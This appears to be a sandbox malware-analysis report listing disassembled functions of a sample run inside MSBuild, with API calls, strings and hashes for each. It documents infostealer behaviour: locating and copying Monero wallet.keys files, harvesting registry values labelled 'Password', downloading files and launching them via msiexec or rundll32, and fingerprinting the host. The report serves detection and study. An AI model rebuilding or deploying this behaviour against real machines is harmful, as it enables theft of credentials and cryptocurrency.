Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00D49E78,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D
SOFTWARE\monero-project\monero-core, xrefs: 00401335
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction ID: 2d64d6a561879fca44fb71c04a0a84c7ebf7a9ed2d970630d286a4d87e6dc5bb
Opcode Fuzzy Hash: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction Fuzzy Hash: 955165B1D5011897CB15FB61DD91FED733CAF54304F4041ADB60A62092EE385BDACBAA

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,00D54F68), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252
a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

sA, xrefs: 004172AE, 00417179, 0041717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 00417111

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(2D232020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(2D232020,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(2D232020, : ), ref: 0040765A
lstrcatA.KERNEL32(2D232020,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(2D232020,00421804), ref: 004076A0
lstrcatA.KERNEL32(2D232020,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(2D232020,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

\, xrefs: 00417560
:, xrefs: 0041755C
C, xrefs: 0041754C

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00414780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,00D562A8,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414801
lstrcatA.KERNEL32(?,?), ref: 00414820
lstrcatA.KERNEL32(?,?), ref: 00414834
lstrcatA.KERNEL32(?,00D50690), ref: 00414847
lstrcatA.KERNEL32(?,?), ref: 0041485B
lstrcatA.KERNEL32(?,00D55608), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: HeapAlloc.KERNEL32(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Strings

0aA, xrefs: 004148F9, 004148A1, 004148A4

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0aA
API String ID: 167551676-2786531170
Opcode ID: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00D56050,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00D56050,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

